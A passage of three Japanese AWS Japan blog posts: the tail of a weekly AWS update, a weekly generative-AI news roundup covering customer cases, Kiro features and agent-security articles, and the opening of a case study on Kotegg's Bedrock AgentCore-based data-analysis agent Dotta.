インスタンスへのデフォルト GPU アクセスをクォータ申請なしで利用できます。チームメンバーをメールで招待でき、招待された側も自分のメールアドレスでサインインして共有環境にアクセスできます。本機能は SageMaker Studio がサポートされるすべての AWS 商用リージョンで利用できます。 AWS Lambda durable functions が durable operation 数とチェックポイントペイロードの上限を引き上げ AWS Lambda durable functions の実行あたりの durable operation 数の上限が 3,000 から 30,000 に、チェックポイントペイロードサイズの上限が 256 KB から 1 MB に引き上げられました。operation 数の増加により、反復ループの拡大、長期間のポーリング、ステップ失敗時のロールバック処理など、1 回の実行でより多くの処理を行えます。1 MB のチェックポイントは Lambda 非同期呼び出し、Amazon SQS、Amazon EventBridge の最大ペイロードサイズと一致するため、これらのイベントソースから受け取ったイベント全体を 1 回の operation で永続化できます。新しい上限は durable functions が利用可能なすべてのリージョンに適用されます。 10/14(水) AWS Security Hub が優先順位付けのためのリソース重要度をサポート AWS Security Hub のエクスポージャー優先順位付けに、リソース重要度 (resource criticality) が追加されました。自動化ルールで「特定アカウントの全コンピュートリソースを Very High にする」といった明示的な設定ができるほか、設定なしでもタグとリソース名から重要度を自動推論します。重要度は Resources ページの列およびエクスポージャー検出の Impact assessment タブに表示され、ソート、フィルター、グループ化に使えます。Security Hub Essentials に追加料金なしで含まれ、全ユーザーに対して常時有効のため、有効化作業は不要です。Security Hub が利用可能なすべての AWS リージョンで利用できます。 AWS Lambda の再帰ループ検出が Amazon EventBridge カスタムイベントバスに対応 AWS Lambda の再帰ループ検出機能が、Amazon EventBridge カスタムイベントバスを経由する再帰ループの検出と自動停止に対応しました。Lambda Event Function がカスタムイベントバスにイベントを書き戻し、それが同じ関数を再度起動する構成で、同一イベントチェーンの呼び出しが約 16 回に達すると Lambda が後続の呼び出しを停止します。この機能はすべてのアカウントでデフォルトで有効であり、設定変更や追加料金は不要です。意図的に再帰を使う設計の場合は、PutFunctionRecursionConfig API で関数単位の無効化が可能です。EventBridge カスタムイベントバスが利用可能なすべての AWS 商用リージョンで利用できます。 10/15(木) AWS Resilience Hub の検出結果とテスト結果を AWS DevOps Agent でレビュー可能に 次世代 AWS Resilience Hub が AWS DevOps Agent と統合されました。レジリエンステストを実行すると DevOps Agent による調査が開始され、症状、根本原因、影響、観測された復旧アクション (Amazon Application Recovery Controller (ARC) のリージョン切り替え (Region switch) など) を含む構造化された分析結果を確認できます。また、障害モード評価 (failure mode assessment) の各検出結果から、その検出結果のコンテキストを引き継いだ状態で DevOps Agent との対話セッションを開始し、質問や調査を通じて緩和策を作成できます。利用を始めるには、Resilience Hub コンソールでサービスを選択し、サービス設定で DevOps Agent を構成します。東京リージョンでも利用可能です。 Amazon CloudFront が VPC origins の dual-stack サポートを発表 Amazon CloudFront の VPC origins が dual-stack (IPv4 / IPv6) に対応しました。これにより、プライベートサブネット内の Application Load Balancer (ALB)、Network Load Balancer (NLB)、EC2 インスタンスに対して、ビューワーからオリジンまでエンドツーエンドで IPv6 トラフィックを届けられます。従来、CloudFront から VPC origins への接続は IPv4 のみで、IPv6 でオリジンに接続するにはオリジンをパブリックサブネットに置く必要がありました。本アップデートにより、オリジンを非公開に保ったまま IPv6 のアーキテクチャ要件や規制要件を満たせます。VPC origins がサポートされるすべての AWS 商用リージョンで利用でき、追加料金はありません。 AWS Transform for full-stack Windows modernization が Aurora PostgreSQL のクロスリージョンデプロイに対応し、新たに 7 リージョンで利用可能に AWS Transform for full-stack Windows modernization が、変換後の Amazon Aurora PostgreSQL データベースを別リージョンへデプロイするクロスリージョンデプロイに対応しました。あわせて、従来のバージニア北部リージョンに東京リージョンを含む 7 リージョンが加わり、合計 8 リージョンで利用可能になりました。SQL Server の DDL ファイルをアップロードし、変換プランでターゲットリージョンを指定するだけで、スキーマ変換と Aurora PostgreSQL クラスターのデプロイを別リージョンに対して実行できます。依存する .NET アプリケーションの接続文字列や ADO.NET、Entity Framework のデータアクセスコードも同じワークフローで PostgreSQL 互換に更新されます。データレジデンシー、レイテンシー、ディザスタリカバリの要件に応じてデプロイ先を選択できるようになりました。 10/16(金) AWS Transform が Azure から AWS へのクラウドネイティブコード変換を発表 AWS Transform の .NET モダナイゼーションエージェントで、Azure SDK から AWS SDK へのアプリケーションコード変換機能の一般提供を開始しました。Azure Functions から AWS Lambda、Azure Blob Storage から Amazon S3、Azure Queue Storage から Amazon SQS への変換に対応し、Azure Cosmos DB から Amazon DynamoDB への変換はプレビューとして利用できます。エージェントがソースコード内の Azure SDK を自動検出し、アセスメントレポートとモダナイゼーションプランに変換オプションを提示するため、ユーザーは内容を確認、調整したうえで変換を実行できます。変換対象はアプリケーションコードのみで、Azure 側のクラウドインフラの移行は対象外です。バージニア北部、ムンバイ、東京、ソウル、シドニー、カナダ中部、フランクフルト、ロンドンの 8 リージョンで利用できます。 Reflection の Beam モデルが Amazon SageMaker JumpStart と AWS Trainium で利用可能に 米国の AI 企業 Reflection が初のオープンウェイトモデル Beam を公開し、Amazon SageMaker JumpStart から利用できるようになりました。Beam は総パラメータ 501B (アクティブ 23B) のスパース MoE モデルです。Reflection によると、SWE-bench Verified で 80.9% を記録するなど、コーディング、推論、エージェント系ベンチマークでオープンウェイトモデルとして高い水準の性能を持ちます。Apache 2.0 ライセンスのため、顧客は自社の AWS アカウント内でモデルを検査、カスタマイズ、運用でき、データを外部 API に送信せずにコーディングエージェントや自動化ワークフローを構築できます。あわせて AWS Trainium3 への移植と最適化も発表され、GPU 以外のコスト効率の高いデプロイ選択肢が示されました。現時点ではバージニア北部とオハイオの 2 リージョンで利用できます。 それでは、また来週お会いしましょう！ 著者について 古屋 楓 (Kaede Koya) / @KaedeKoya35328 AWS Japan のソリューションアーキテクトとして、多種多様な業界のお客様をご支援しています。特定の技術やサービスに偏らず、幅広い分野のご相談に対応し、技術相談会や各種イベントにて登壇しています。好きな AWS サービスは Amazon Lightsail と Kiro で、シンプルかつ柔軟にクラウドの力を活用できる点がお気に入りです。休日は愛犬 2 匹と静かに過ごしています。

みなさん、こんにちは。AWS ソリューションアーキテクトの三厨です。 生成 AI を活用したビジネス課題の解決を支援する AWS ジャパン生成 AI 実用化推進プログラム は、通年で応募を受け付けています。戦略プランニング、モデルカスタマイズ、モデル活用の 3 コースがあり、想定コストの 50% を上限とする AWS クレジットや技術支援、勉強会、参加企業間のネットワーキングも用意されています。生成 AI の本番活用を検討されている方は、ぜひご確認ください。 また、このプログラムの 1 コースである 「フィジカル AI 開発支援プログラム by AWS ジャパン」第 2 期 の応募受付が始まりました。VLA をはじめとするロボット基盤モデルや、VLM、世界モデルなどの周辺技術を AWS 上で開発する企業・団体が対象で、スタートアップから大企業、大学・研究機関まで応募できます。フィジカル AI のスペシャリストによる技術支援、コスト最適化、コミュニティ形成、GTM 支援が受けられ、第 1 期に応募した方も再応募が可能です。締切は 11 月 16 日（月）なので、ロボティクス × 生成 AI に取り組んでいる方はお早めにどうぞ。 それでは、10 月 12 日週の生成 AI with AWS 界隈のニュースを見ていきましょう。 さまざまなニュース AWS生成AI国内事例ブログ: ソニー銀行株式会社様、勘定系システムの開発に AI エージェントを適用し開発期間を 30% 短縮 ソニー銀行様は、2025 年に勘定系システム全体を AWS へ移行したインターネット銀行です。本番稼働中で顧客の預金や取引を扱う勘定系の開発では、可用性・セキュリティ・監査対応の水準が高く、閉域通信でコーディングエージェントを使うことが条件でした。そこで富士通様とともに、閉域から使える Claude Code on Amazon Bedrock を採用し、Amazon EC2 上の Dev Container で開発環境を統一しました。生成 AI タスクフォースが Skills を作成・配布し、シニアエンジニアの成果物と比べて「One Shot」で基準精度を超えたものから展開、工程間のレビューは人が担う Human in the Loop で進めています。その結果、2026 年 7 月時点で基本設計から結合テストまでの開発工数を 40%、開発期間を 30% 削減しました。 AWS生成AI国内事例ブログ: 日本通運株式会社様、AI 搭載型物流 Web アプリ「DCX」で出荷予測の算出を 1〜2 時間から約 5 分に短縮 日本通運様は、SaaS 型物流ソリューション「DCX」で在庫や入出荷の管理、受注から配送までの可視化を提供している物流事業者です。EC の拡大や商品ライフサイクルの短期化で欠品や過剰在庫を防ぐ意思決定が求められる一方、出荷予測の算出には 1 アイテムあたり 1〜2 時間かかっていました。これを解決するために、時系列予測基盤モデル Chronos-2 を Amazon ECS 上で動かすとともに、Amazon Bedrock Managed Knowledge Base、AgentCore Memory、AgentCore ハーネスを使って、物流データに自然言語で問いかけられるマルチエージェントの「BI LLM Chat」を搭載しました。その結果、出荷予測の算出は約 5 分に短縮され、最大半年先まで日別・週別・月別で予測できるようになりました。 AWS生成AI国内事例ブログ: 株式会社東京会計パートナーズ様、Amazon Bedrock の生成 AI チャットボットで事業承継の提案ができる営業を 3〜5 名から約 20 名全員に拡大 東京会計パートナーズ様は、経営者の事業承継の相談に税務・経営など分野横断でワンストップに伴走している企業です。事業承継の相談に対応できるのはトップ営業 3〜5 名に限られ、そもそも経営者にとって切り出しにくいテーマのため相談の入口がないという課題がありました。そこで ゼネット様 とともに、AI 側から問いかけて対話を進める「経営者のアシスト AI」を構築しました。Amazon Bedrock の Claude と、Amazon Bedrock Knowledge Bases による RAG、Amazon Bedrock Guardrails を組み合わせ、RAG の構築は約 3 営業日で完了しています。その結果、事業承継の提案ができる人が営業部員約 20 名全員に広がりました。今後は同じ仕組みをフレームワーク化し、事業承継以外の経営課題に応えるシミュレーターへの横展開を構想しているそうです。 AWS生成AI国内事例ブログ: 株式会社エナリス様、人の判断を記憶する AI エージェントで ESG 対応の意思決定を支援し LLM コストを約 88% 削減 エナリス 様は、需給管理や電力小売のノウハウをもとに PPA や VPP などの脱炭素ソリューションを展開している企業です。ESG 関連ニュースや規制動向の調査は担当者の手作業頼みで、網羅性や解釈の深さが個人に依存し、「自社として何をすべきか」を考える工程も人に残っていました。そこで KDDI アジャイル開発センター 様とともに、Amazon Bedrock AgentCore と Strands Agents で ESG ダッシュボードを構築しました。ニュースを日次で収集して自社への影響と対応アクションを提示し、担当者の承認・却下とコメントを AgentCore Memory に蓄積して次回以降の生成に反映します。その結果、構築当初と比べて入力トークンを 98% 以上、1 日あたりの LLM コストを約 88% 削減し、2026 年 7 月から社内で活用されています。今後は週次サマリの経営層での活用や、規制・ルール分析機能への展開を目指すそうです。 AWS生成AI国内事例ブログ: 株式会社インフキュリオン様、Amazon Bedrock AgentCore Runtime で請求書カード払いのリモート MCP サーバーを約 1 か月で公開 インフキュリオン様は、決済領域を中心に金融サービスプラットフォームを提供する Fintech 企業で、請求書カード払いの「Winvoice」を運営しています。経理の現場では請求書の受領から支払完了までが複数のツールに分断されており、AI 活用のニーズはあっても、非エンジニアにはローカル環境のセットアップや API 連携が障壁でした。そこで Winvoice の機能を AI エージェントから呼び出せるリモート MCP サーバーを、Amazon Bedrock AgentCore Runtime 上に構築しました。Amazon Cognito のフェデレーションと AgentCore Identity の Token Vault で既存の認証基盤を改修せずに接続し、二段構えの許可リストと人による最終承認で Fintech に求められる統制も確保しています。その結果、企画から約 1 か月で、請求書カード払い領域で国内初（同社調べ）となる MCP 対応を実現しました。 ブログ記事「AI 定着の現在地 ― 先行企業のリアルに学ぶ AWS AI Day in Nagoya 開催報告」を公開 9 月 2 日に名古屋の STATION Ai で開催したイベントの報告です。定員を拡張して 120 名が参加し、神鋼鋼線工業様、東海理化様、タック様、メイテツコム様、東邦ガス情報システム様の 5 社が Kiro や Amazon Bedrock、Amazon Quick を組織に定着させた取り組みを語りました。非 IT 人材から活用コミュニティを広げた話や、AI-DLC で要件・設計品質が上がった話など、導入後の「定着」に悩む方に参考になる内容です。 ブログ記事「【資料公開 & 開催報告】Kiro Meetup #8 ～三菱電機・東海旅客鉄道・オープンアップシステムが語る、Kiro を組織に広げる工夫～」を公開 9 月 24 日に開催した Kiro Meetup #8 の報告で、Kiro の半年分のアップデートと Kiro Crew の解説に加え、3 社のライトニングトークを紹介しています。部門内ユーザー約 900 名の三菱電機様が実装とレビューを別モデルに担わせる工夫や、JR 東海様が研究員自ら実装まで回せるようになった話など、組織展開のヒントが詰まっています。登壇資料も公開されていますのでぜひご覧ください。 ブログ記事「【資料公開 & 開催報告】Kiro ハンズオン「手を動かして実感する、Kiro が変える開発体験」」を公開 同日午後に開催した 3 時間のハンズオンの報告です。Spec、Steering と Agent Skills の使い分け、ハーネスエンジニアリング、MCP、Kiro Crew までを扱い、「Steering が肥大化したら常時不要な部分を Skills に移す」といった実践的なコツも紹介しています。講義資料とワークショップ教材が公開されているので、ぜひご覧ください。 ブログ記事「経済産業省 GENIAC ロボット基盤モデルの研究開発における採択事業者への支援を開始」を公開 経済産業省と NEDO による GENIAC のロボット基盤モデル研究開発で、AWS が採択事業者への支援を始めました。Amazon EC2 P6-B300 / P6-B200 / P5 と Amazon SageMaker HyperPod の計算資源に加え、分散学習環境の構築支援や事業化支援を提供します。アトム様、Highlanders 様、Preferred Networks 様、MW 様、Muso Action 様、メルカリ様の取り組みとコメントも掲載されており、国内のフィジカル AI 開発の最前線がわかります。 ブログ記事「Kimi K3 が Kiro で利用可能になりました」を公開 Moonshot AI のオープンウェイトモデル Kimi K3 が Kiro で使えるようになりました。2.8T パラメーターの MoE モデルで、100 万トークンのコンテキストに大規模なコードベースや仕様書一式を収められるため、Kiro の仕様駆動開発と相性が良いモデルです。us-east-1 の Kiro Pro、Pro+、Pro Max、Power で実験的サポートとして提供され、クレジット倍率は 2.4x です。 ブログ記事「Kiro のローカルサンドボックス: エージェントが実行するコマンドを境界内にとどめる」を公開 Kiro IDE と Kiro CLI で一般提供されたローカルサンドボックスの解説です。エージェントが実行するコマンドのファイルやネットワークへのアクセスを OS カーネルレベルで制限し、シェル経由の迂回も含めて ~/.ssh や ~/.aws の読み取りを拒否します。承認疲れが気になる方や、複数のエージェントを並列で動かしたい方に、仕組みと設定方法を知っておいてほしい機能です。 ブログ記事「エンタープライズ向けサインイン制御を強化しました」を公開 管理者が managed-settings.json で Kiro のサインイン方法を制限できるようになった機能の紹介です。IAM Identity Center のみに限定すれば、個人の Google や GitHub、Builder ID でのサインインを防げます。スタート URL の事前入力やデバイスコードフローの制御もでき、Kiro を全社展開する際のガバナンスを強化したい方に役立ちます。 ブログ記事「AWS Security Agent (now part of AWS Continuum) が新たに公開された実在の CVE 37 件中 33 件のエクスプロイトに成功」を公開 自律型ペネトレーションテストエージェントを、学習データへの混入を抑えた実在 CVE 37 件のベンチマークで評価した結果の報告です。意図した脆弱性でのエンドツーエンドの成功は 33 件（89.2%）で、ターゲットをダウンさせて失敗した事例とその対策まで正直に公開しています。AI によるセキュリティテストの実力とリスクを見極めたい方は必読です。 ブログ記事「AWS Continuum で実現するデプロイごとのペネトレーションテスト」を公開 AWS Continuum for penetration testing を CI/CD のデプロイ後ゲートに組み込み、前回以降の変更点だけを毎デプロイでテストする方法を解説しています。GitHub Actions、GitLab、Bitbucket、Azure DevOps に対応し、重要度のしきい値で本番昇格をブロックできます。既定がフェイルオープンになる設定など運用上の注意点も押さえられています。 ブログ記事「Kiro CLI でセキュリティ調査を迅速化」を公開 AWS セキュリティインシデント対応ガイドのフェーズに沿って、Kiro CLI で Amazon GuardDuty の検出結果を調査するウォークスルーです。承認制でコマンドを実行しながら、封じ込め、EBS スナップショットの取得、CloudTrail 分析、アラート設定まで進め、最後に調査手順をステアリングファイルとして再利用できる形にします。 ブログ記事「Kiro と Amazon Q でセキュリティポスチャを強化する 5 つの方法」を公開 セキュリティ標準をステアリングファイルで永続化したうえで、MCP 経由の Security Hub トリアージ、IaC の修復、Well-Architected レビュー、SCP の生成と検証を AI に任せる方法を紹介しています。設定例やプロンプト例が豊富で、反復的なセキュリティ作業を減らしたいチームにおすすめです。 ブログ記事「Amazon Bedrock を使った AWS Systems Manager Session Manager ログの AI による異常検知」を公開 Session Manager のセッション終了時に、トランスクリプトを Amazon Bedrock で Normal / Suspicious / Critical に分類し、SNS でアラートする仕組みを紹介しています。AgentCore ハーネスとゲートウェイを使えば、SOC アナリストがセッション履歴に自然言語で問い合わせることもできます。CloudFormation テンプレートと GitHub のサンプルですぐに試せます。 ブログ記事「エージェンティック AI システムのための 4 つのセキュリティ原則」を公開 NIST CAISI の情報提供依頼に対する AWS の回答の中核となる 4 つの原則を紹介しています。LLM はセキュリティを強制する仕組みではないため、エージェントの外側に決定論的な制御を置き、自律性は継続的な評価を通じて広げていく、という考え方です。AgentCore の Identity、Gateway、Policy などでの実装例もあり、エージェントの設計指針として役立ちます。 ブログ記事「エージェンティック AI への備え: 金融サービスにおけるセキュリティアプローチ」を公開 金融機関がエージェンティック AI を導入する際に必要な、オブザーバビリティときめ細かなアクセス制御を 7 つの設計原則で整理しています。各国の規制への言及もあり、規制業界でエージェント導入を検討しているアーキテクトやリスク管理部門の方に参考になります。 ブログ記事「AWS で本番 AI エージェントを構築する: 6つの柱によるウォークスルー」を公開 製造業の部品在庫エージェントを題材に、Build / Test / Run / Secure / Observe / Govern の 6 つの柱で本番化に必要な観点を解説しています。AgentCore の各機能や Guardrails、Strands Agents を使ったコード例付きで、デモ止まりのエージェントを本番に乗せたい方にぴったりです。 ブログ記事「SAP ネットワークのトラブルシューティングを数時間から数分へ加速する：エージェント型 AI アプローチ」を公開 Kiro CLI とマネージドな AWS MCP Server で、RISE with SAP を含む SAP 環境のネットワーク障害を自然言語で診断する方法です。504 エラーやクロス AZ レイテンシー、セキュリティグループのドリフト検出など 5 つのユースケースを紹介しており、SAP Basis やネットワーク運用の runbook にそのまま取り入れられます。 ブログ記事「責任ある AI ガバナンス: お客様が ISO/IEC 42005:2025 との整合を図れるよう AWS が支援する方法」を公開 AI システム影響評価の規格 ISO/IEC 42005 を、既存評価への統合方法や再評価のトリガーとともに解説し、AWS Well-Architected Responsible AI Lens との整合点を紹介しています。あわせて ISO/IEC 42001 を AWS 上で設計・運用するためのコンプライアンスガイド の公開も案内されています。AI ガバナンスの体制づくりを担当している方は押さえておきましょう。 ブログ記事「AWS で実現する AI 主権」を公開 データ主権と運用主権に、文化や現地言語の保護を加えた「AI 主権」に対する AWS のアプローチを紹介しています。AWS AI Factories や Outposts、Amazon Bedrock のモデル選択、Nitro System などの選択肢が整理されており、規制業種や公共分野で主権要件を満たしながら生成 AI を導入したい方の論点整理に役立ちます。 サービスアップデート Amazon Bedrock AgentCore の短期メモリが従量制の料金に AgentCore Memory の短期メモリが、イベントごとの定額料金から、エージェントが取り込み・取得・保存するデータ量に応じた従量制に変わりました。小さなイベントを頻繁に書き込むエージェントでも使った分だけの支払いになり、ほとんどのワークロードでコストが下がります。料金は取り込み 1 GB あたり 1.00 USD、取得 1 GB あたり 0.20 USD、ストレージ 1 GB 月あたり 0.10 USD で、長期メモリの料金は変わりません。 Amazon Bedrock AgentCore の Web Search が 4 リージョンに拡大 AI エージェントに Web から最新の情報を提供するフルマネージドツール AgentCore Web Search が、米国東部（オハイオ）、米国西部（オレゴン）、アジアパシフィック（シドニー）、AWS GovCloud (US-West) で使えるようになりました。ユーザーに近いリージョンで検索できるのでレイテンシーが下がり、GovCloud ではコンプライアンス要件のある政府系ワークロードでも利用できます。 AWS Agent Registry がレジストリレコードのカスタムメタデータをサポート 組織内のエージェント、MCP サーバー、エージェントスキルなどを管理する一元カタログ AWS Agent Registry で、所有チームやデータ分類、レビューステータスといった独自の項目をレコードに追加できるようになりました。リソースが数百規模に増えても、人と自動化の両方が同じ基準で検索・統制できます。作成時に必須項目と値を検証する機能もあり、東京リージョンでも利用できます。 Agent Toolkit for AWS の AWS AI/ML スキルで、コーディングエージェントが SageMaker AI を使いこなせるように Agent Toolkit for AWS に AWS AI/ML スキルがコアスキルとして加わり、コーディングエージェントが自然言語のやり取りの中で SageMaker AI のモデル選択、トレーニング、最適化、デプロイまで進められるようになりました。ファインチューニングのガイドや推論最適化、MLflow、JumpStart のモデル推奨にも対応しています。Kiro などの任意のコーディングエージェントで使え、SageMaker Studio の JupyterLab にはプリインストールされています。 NVIDIA Nemotron 3.5 Super VL が Amazon SageMaker JumpStart で利用可能に 画像・動画・テキストを入力できる NVIDIA の視覚言語モデル Nemotron 3.5 Super VL が SageMaker JumpStart に登場しました。120B パラメータ（アクティブ 12B）のハイブリッド MoE で、100 万トークンのコンテキスト、構造化 JSON 出力、ツール呼び出しに対応し、日本語を含む 10 言語をサポートしています。文書理解や GUI 理解、動画の質問応答など、マルチモーダルなエージェントアプリケーションに向いています。 AWS Transform が Azure から AWS へのクラウドネイティブなコード変換を一般提供開始 AWS Transform の .NET モダナイゼーションエージェントが、ソースコード内の Azure SDK を検出して同等の AWS サービスのコードに変換できるようになりました。Azure Functions から AWS Lambda、Blob Storage から Amazon S3、Queue Storage から Amazon SQS への変換が一般提供され、Cosmos DB から Amazon DynamoDB への変換はプレビューです。変換計画を承認・調整してから実行するため、Azure 上の .NET アプリの移行を安心して進められます。東京リージョンでも利用できます。 AWS Transform のフルスタック Windows モダナイゼーションが Aurora PostgreSQL のクロスリージョンデプロイに対応 SQL Server から変換した Amazon Aurora PostgreSQL を、変換計画で指定した別のリージョンにデプロイできるようになりました。データレジデンシーやレイテンシー、ディザスタリカバリーの要件に合わせてデプロイ先を選べます。依存する .NET アプリの接続文字列やデータアクセス部分も同じワークフローで更新され、東京を含む 7 リージョンが新たに対象になりました。 Amazon MWAA が AI エージェントスキルを提供 Amazon Managed Workflows for Apache Airflow が Agent Toolkit for AWS と統合し、ワークフローの作成、デバッグ、テストと、環境のアップグレードを行う 4 つのスキルを提供しました。ETL パイプラインを自然言語で説明すると、タスクの依存関係やエラー処理を含む DAG を AI コーディングアシスタントが生成してくれます。MWAA Provisioned と MWAA Serverless の両方に対応しています。 今週は以上です。それでは、また来週お会いしましょう！ 著者について 三厨 航  (Wataru MIKURIYA) AWS Japan のソリューションアーキテクト (SA) として、ヘルスケア・ハイテク製造業のお客様のクラウド活用を技術的な側面・ビジネス的な側面の双方から支援しています。クラウドガバナンスや IaC 分野に興味があり、最近はそれらの分野の生成 AI 応用にも興味があります。最近の趣味はカメラです。 週刊 AWS の新しいサムネイルを撮影したので、是非ご覧ください。

本記事は、株式会社コーテッグ様と Amazon Web Services Japan による共同執筆です。 みなさん、こんにちは。アマゾンウェブサービスジャパンの古山です。 生成 AI の活用は、チャットボットによる応答から、自律的にタスクを進める「AI エージェント」の実用化へとステージが移りつつあります。本記事では、 Amazon Bedrock AgentCore を中核とした非同期 AI エージェント基盤により、自然言語で問いかけるだけでデータの分析・可視化・レポート生成までを完結させる AI 分析プラットフォーム「 Dotta（ドッタ） 」を構築された、株式会社コーテッグ様の事例をご紹介します。 コーテッグ様について 株式会社コーテッグ 様（以下、コーテッグ様）は、AI とクラウド技術を軸に、サービスの企画・開発・運営を行うエンジニアリングカンパニーです。生成 AI・機械学習を活用したシステム開発とデータ活用支援、Web・モバイルアプリケーション開発、要件定義から運用保守までのフルサイクル開発、技術コンサルティングを手がけられるとともに、自社プロダクトとして、本記事でご紹介する AI データ分析プラットフォーム「 Dotta 」と、医療機関向けの AI 予約・受付システム「ソトマチ」を提供されています。 コーテッグ様は以前より AWS 上で生成 AI の活用を進められており、2024 年 11 月には、 Amazon Bedrock のマルチモーダルモデルを活用した「診察券の自動読み取り機能」により、導入医療機関全体で月間 7,500 時間の業務削減を実現されました（詳細は既存の事例ブログ「 生成 AI-OCR 機能で診察券読取業務を効率化、月間 7,500 時間の削減に成功 」をご覧ください）。 この成功体験を通じて、同社は生成 AI が単なる文字認識や文章生成にとどまらず、業務プロセスそのものを変革する力を持つことを確信されました。その次の挑戦として取り組まれたのが、”自律的に分析を進める AI エージェント” による分析プラットフォーム「Dotta」です。 提供の背景 データが意思決定を左右する時代になりました。しかし多くの企業では、データ分析はいまも一部の専門人材に依存する “属人的な作業” にとどまっています。コーテッグ様は、クライアントとの対話を通じて、現場に共通する次のような課題があると考えました。 分析を依頼してから結果が出るまで時間がかかり、意思決定のスピードが上がらない SQL やデータ基盤を扱える一部のエンジニアに依存し、依頼と待ち時間が慢性化している BI ツールを導入したものの、設定や操作が難しく現場に定着しない 週次・月次の定期レポート作成に、毎回まとまった工数が奪われる 生成 AI の進化は、こうした課題の解き方を大きく変えつつあります。人手不足が続くなかでも少人数で成果を出すために、同社は “チャットボット” の先にある「自律的に分析を進める AI エージェント」に着目しました。 「すべての人に、AI で分析力を。」——このコンセプトのもと、コーテッグは専門知識の有無を問わず誰もが自然言語で分析を完結できる仕組みとして「Dotta」を開発しました。 Amazon Bedrock を活用したサービスの概要 「Dotta」は「聞くだけで分析完了」をコンセプトに、分析の専門知識がなくても “問いかけるだけ” で結果にたどり着ける体験を提供します。主要機能は次の 4 つです。 自然言語クエリ： 「先月の売上を地域別に見せて」といった問いかけだけで、データの取得・集計を実行します。 AI ビジュアライゼーション： データの内容に応じて最適なグラフ・チャートを AI が自動で選定し可視化します。 自動レポート生成： 分析結果を PDF・Markdown・Word 形式で出力します。 マルチデータソース連携： CSV ファイルや MySQL・PostgreSQL などの各種データベース、 Amazon Redshift をはじめとするクラウドデータウェアハウスなど、多様なデータソースに対応します。 対象はマーケティング・営業・プロダクト・経営企画など幅広い職種で、広告効果分析（チャネル別 ROAS・CPA 分析）、営業パイプライン管理、ユーザー行動分析、経営ダッシュボードの作成といった用途が想定されています。これらの分析を、Amazon Bedrock 上で動作する AI エージェントが自律的に進めることで実現しています。 AWS サービスの採用理由 コーテッグ様が「Dotta」の基盤に AWS を選んだ理由は、大きく 3 つあります。 1 つ目は、 Amazon Bedrock の本番運用実績と信頼 です。前述の「診察券の自動読み取り機能」を通じて、Amazon Bedrock を本番環境で運用してきた実績があり、その品質・安定性への信頼が既にありました。また、Amazon Bedrock への入出力データがモデルの学習に利用されない点は、顧客の業務データを扱う分析プラットフォームにとって必須の要件でした。 2 つ目は、 Amazon Bedrock AgentCore による AI エージェント特有の要件への対応 です。数分に及ぶ長時間実行、セッションごとの分離された実行環境といった、AI エージェントならではの実行要件をマネージドサービスとして満たせることが、採用の決め手となりました。 3 つ目は、 少人数でも運用できるサーバーレス・マネージドサービス群 です。 Amazon SQS 、 AWS Lambda 、 Amazon DynamoDB などを組み合わせることで、インフラ管理の負担を最小限に抑えながら、スケーラブルな非同期処理基盤を実現できると判断しました。ソトマチで培った AWS の知見をそのまま活かせることも、開発スピードの面で大きな利点でした。 主要機能と独自性の高い技術的特徴 「聞くだけ」という体験の裏側では、AI エージェントが自律的に考え、必要なコードを書き、データを集計しています。これを支えるのが、Amazon Bedrock AgentCore を用いた非同期 AI エージェント基盤です。分析処理は数十秒から数分に及ぶことがあるため、ユーザーの操作をブロックしない非同期ジョブとして設計されています。 フロントエンド / API 層 利用者向け画面（Next.js によるフロントエンド）と、分析を担う「Analysis API」、データ取込を担う「Ingestion API」、認証・組織管理を担う「Admin API」は、いずれも Amazon ECS （AWS Fargate）上で稼働しています。アクセスは Amazon Route 53 でドメインを管理し、Application Load Balancer でアクセス先を振り分けます。管理者向けの管理画面は Amazon CloudFront と Amazon S3 で配信されています。 非同期 AI エージェント基盤（中核） 自然言語の問いかけを受け取ってから回答を返すまでの流れは、次のように構成されています。 ジョブ登録：Analysis API がユーザーのメッセージを Amazon SQS にジョブとして登録します。 自動起動・呼び出し：SQS をトリガーに AWS Lambda（Dispatcher）が起動し、Amazon Bedrock AgentCore Runtime を呼び出します。 エージェントによる分析：AgentCore Runtime 上で DeepAgents（LangChain）による分析エージェントが動作します。推論には Amazon Bedrock の基盤モデルを用い、分析には Claude Opus 4.8 / Sonnet 4.6、軽量な処理には Claude Haiku 4.5 と、用途に応じてモデルを使い分けています。 コード実行：分析に必要なコードの実行は AWS Lambda（Executor）が担います。 回答のストリーミング：エージェントが生成した回答は Amazon ElastiCache（Valkey）に逐次書き込まれ、Analysis API がそれを読み取って SSE（Server-Sent Events）でブラウザへリアルタイムに流します。読了後は TTL により自動削除される一時領域として扱われます。 会話の永続化：確定した会話は Amazon RDS（PostgreSQL）に永続化されます。これにより、ストリーミング中（未確定）の会話は ElastiCache から、確定済みの過去会話は RDS から取得し、途切れのないチャット履歴の表示・再生を実現しています。 ジョブの進行状況、二重実行を防ぐためのロック、エージェントの生存確認（heartbeat）、そしてエージェントの記憶管理（DeepAgents の checkpointer）は Amazon DynamoDB で管理されます。処理途中の大きな一時データは Amazon S3 に退避して受け渡します。 ユーザー操作による一時停止・再開にも対応しており、キャンセル要求を受け取ると安全に中断して checkpoint とそこまでのメッセージを保存し、後から途中再開できます（Human-in-the-Loop の入力待ちも同様の仕組みで扱われます）。 データ取込・分析基盤 分析対象のデータは、Ingestion API から AWS Lambda（Loader、dlthub を利用）でデータを変換・登録し、AWS Glue Data Catalog と Amazon S3 上の Apache Iceberg テーブルに蓄積されます。蓄積したデータへのクエリには Amazon Athena が用いられています。サービス本体のデータは Amazon RDS（PostgreSQL）でマルチテナント構成として管理されています。 開発段階での苦労と、工夫したポイント 長時間実行される分析処理を UI をブロックせずに扱うことが、同社にとって大きな課題でした。Amazon SQS・AWS Lambda・Amazon Bedrock AgentCore を組み合わせた非同期ジョブとして設計することで、ユーザーは待ち時間中も操作を続けられ、処理の進行はストリーミングで確認できるようになっています。 また、ストリーミング中（未確定）の会話と確定済みの会話を、それぞれ Amazon ElastiCache と Amazon RDS という異なる保存先から取得しつつ、利用者からは 1 つの連続した会話として見えるように繋ぎ込む点にも工夫を要したといいます。 加えて、Amazon DynamoDB による二重実行ロック・heartbeat での生存監視・checkpointer による記憶管理を組み合わせることで、処理の途中停止と再開、そして信頼性を両立させています。 Well-Architected Framework に基づく設計 オペレーショナルエクセレンス 各ノードの状態を Amazon CloudWatch で監視するとともに、ジョブの進行状況やエージェントの heartbeat を Amazon DynamoDB に記録することで、非同期処理の可観測性を確保しています。これにより、長時間ジョブの停滞や異常を早期に検知できる運用フローが整えられています。 セキュリティ 永続化データ（Amazon RDS、Amazon 